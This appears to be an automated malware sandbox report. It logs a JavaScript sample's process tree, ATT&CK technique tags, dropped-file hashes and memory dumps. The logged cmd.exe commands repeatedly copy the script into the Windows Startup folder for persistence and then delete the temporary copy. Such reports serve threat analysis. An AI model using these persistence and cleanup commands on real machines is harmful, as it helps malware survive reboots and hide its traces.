  - - C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c copy "C:\Users\Admin\AppData\Local\Temp\6d3e27b1ccda7e6cd80c767aa1facaa62f06f34a2aa50873e79a26d5fe9e2be1.js" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\6d3e27b1ccda7e6cd80c767aa1facaa62f06f34a2aa50873e79a26d5fe9e2be1.js"
      4⤵
      PID:1484
  - - C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c del "C:\Users\Admin\AppData\Local\Temp\6d3e27b1ccda7e6cd80c767aa1facaa62f06f34a2aa50873e79a26d5fe9e2be1.js"
      4⤵
      PID:3684
  - - C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c copy "C:\Users\Admin\AppData\Local\Temp\6d3e27b1ccda7e6cd80c767aa1facaa62f06f34a2aa50873e79a26d5fe9e2be1.js" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\6d3e27b1ccda7e6cd80c767aa1facaa62f06f34a2aa50873e79a26d5fe9e2be1.js"
      4⤵
      PID:2720
  - - C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c del "C:\Users\Admin\AppData\Local\Temp\6d3e27b1ccda7e6cd80c767aa1facaa62f06f34a2aa50873e79a26d5fe9e2be1.js"
      4⤵
      PID:3184
  - - C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c copy "C:\Users\Admin\AppData\Local\Temp\6d3e27b1ccda7e6cd80c767aa1facaa62f06f34a2aa50873e79a26d5fe9e2be1.js" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\6d3e27b1ccda7e6cd80c767aa1facaa62f06f34a2aa50873e79a26d5fe9e2be1.js"
      4⤵
      PID:3304
  - - C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c del "C:\Users\Admin\AppData\Local\Temp\6d3e27b1ccda7e6cd80c767aa1facaa62f06f34a2aa50873e79a26d5fe9e2be1.js"
      4⤵
      PID:2072
  - - C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c copy "C:\Users\Admin\AppData\Local\Temp\6d3e27b1ccda7e6cd80c767aa1facaa62f06f34a2aa50873e79a26d5fe9e2be1.js" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\6d3e27b1ccda7e6cd80c767aa1facaa62f06f34a2aa50873e79a26d5fe9e2be1.js"
      4⤵
      PID:32
  - - C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c del "C:\Users\Admin\AppData\Local\Temp\6d3e27b1ccda7e6cd80c767aa1facaa62f06f34a2aa50873e79a26d5fe9e2be1.js"
      4⤵
      PID:4556
  - - C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c copy "C:\Users\Admin\AppData\Local\Temp\6d3e27b1ccda7e6cd80c767aa1facaa62f06f34a2aa50873e79a26d5fe9e2be1.js" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\6d3e27b1ccda7e6cd80c767aa1facaa62f06f34a2aa50873e79a26d5fe9e2be1.js"
      4⤵
      PID:3756
  - - C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c del "C:\Users\Admin\AppData\Local\Temp\6d3e27b1ccda7e6cd80c767aa1facaa62f06f34a2aa50873e79a26d5fe9e2be1.js"
      4⤵
      PID:4568
  - - C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c copy "C:\Users\Admin\AppData\Local\Temp\6d3e27b1ccda7e6cd80c767aa1facaa62f06f34a2aa50873e79a26d5fe9e2be1.js" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\6d3e27b1ccda7e6cd80c767aa1facaa62f06f34a2aa50873e79a26d5fe9e2be1.js"
      4⤵
      PID:1624
  - - C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c del "C:\Users\Admin\AppData\Local\Temp\6d3e27b1ccda7e6cd80c767aa1facaa62f06f34a2aa50873e79a26d5fe9e2be1.js"
      4⤵
      PID:3692
  - - C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c copy "C:\Users\Admin\AppData\Local\Temp\6d3e27b1ccda7e6cd80c767aa1facaa62f06f34a2aa50873e79a26d5fe9e2be1.js" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\6d3e27b1ccda7e6cd80c767aa1facaa62f06f34a2aa50873e79a26d5fe9e2be1.js"
      4⤵
      PID:4812
  - - C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c del "C:\Users\Admin\AppData\Local\Temp\6d3e27b1ccda7e6cd80c767aa1facaa62f06f34a2aa50873e79a26d5fe9e2be1.js"
      4⤵
      PID:1612
  - - C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c copy "C:\Users\Admin\AppData\Local\Temp\6d3e27b1ccda7e6cd80c767aa1facaa62f06f34a2aa50873e79a26d5fe9e2be1.js" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\6d3e27b1ccda7e6cd80c767aa1facaa62f06f34a2aa50873e79a26d5fe9e2be1.js"
      4⤵
      PID:752
  - - C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c del "C:\Users\Admin\AppData\Local\Temp\6d3e27b1ccda7e6cd80c767aa1facaa62f06f34a2aa50873e79a26d5fe9e2be1.js"
      4⤵
      PID:5088
  - - C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c copy "C:\Users\Admin\AppData\Local\Temp\6d3e27b1ccda7e6cd80c767aa1facaa62f06f34a2aa50873e79a26d5fe9e2be1.js" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\6d3e27b1ccda7e6cd80c767aa1facaa62f06f34a2aa50873e79a26d5fe9e2be1.js"
      4⤵
      PID:1708
  - - C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c del "C:\Users\Admin\AppData\Local\Temp\6d3e27b1ccda7e6cd80c767aa1facaa62f06f34a2aa50873e79a26d5fe9e2be1.js"
      4⤵
      PID:1304
  - - C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c copy "C:\Users\Admin\AppData\Local\Temp\6d3e27b1ccda7e6cd80c767aa1facaa62f06f34a2aa50873e79a26d5fe9e2be1.js" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\6d3e27b1ccda7e6cd80c767aa1facaa62f06f34a2aa50873e79a26d5fe9e2be1.js"
      4⤵
      PID:1500
  - - C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c del "C:\Users\Admin\AppData\Local\Temp\6d3e27b1ccda7e6cd80c767aa1facaa62f06f34a2aa50873e79a26d5fe9e2be1.js"
      4⤵
      PID:5012
  - - C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c copy "C:\Users\Admin\AppData\Local\Temp\6d3e27b1ccda7e6cd80c767aa1facaa62f06f34a2aa50873e79a26d5fe9e2be1.js" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\6d3e27b1ccda7e6cd80c767aa1facaa62f06f34a2aa50873e79a26d5fe9e2be1.js"
      4⤵
      PID:4976
  - - C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c del "C:\Users\Admin\AppData\Local\Temp\6d3e27b1ccda7e6cd80c767aa1facaa62f06f34a2aa50873e79a26d5fe9e2be1.js"
      4⤵
      PID:2776

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Indicator Removal

T1070

File Deletion

T1070.004

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\LocalLow\System Update\x2.txt

Filesize
355B

MD5
daa58b938ebe73e880b2cdd8704c6301

SHA1
857c5eaf94dfeb56ba44ac70685c6787a846549c

SHA256
50bae474c92c50383c3e65183eed42e3c05d134b0baf0f5cf6f8095f362f5ee6

SHA512
53d127cf5afe697a77b9ff1658673295be80fbbcc24e8fa5b28d39ce7dd158ddfe1d7e756f189280fb965881a6ff1764ddb0e74325eb24574b1cb466039e999e

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_q1pd2qc3.1zs.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/4864-22-0x0000027768BF0000-0x0000027768BFA000-memory.dmp

Filesize
40KB

Download
memory/5020-0-0x00007FFE73913000-0x00007FFE73915000-memory.dmp

Filesize
8KB

Download
memory/5020-10-0x000001A4FB6B0000-0x000001A4FB6D2000-memory.dmp

Filesize
136KB

Download
memory/5020-11-0x00007FFE73910000-0x00007FFE743D1000-memory.dmp

Filesize
10.8MB

Download
memory/5020-12-0x00007FFE73910000-0x00007FFE743D1000-memory.dmp

Filesize
10.8MB

Download
memory/5020-26-0x00007FFE73913000-0x00007FFE73915000-memory.dmp

Filesize
8KB

Download
memory/5020-27-0x00007FFE73910000-0x00007FFE743D1000-memory.dmp

Filesize
10.8MB

Download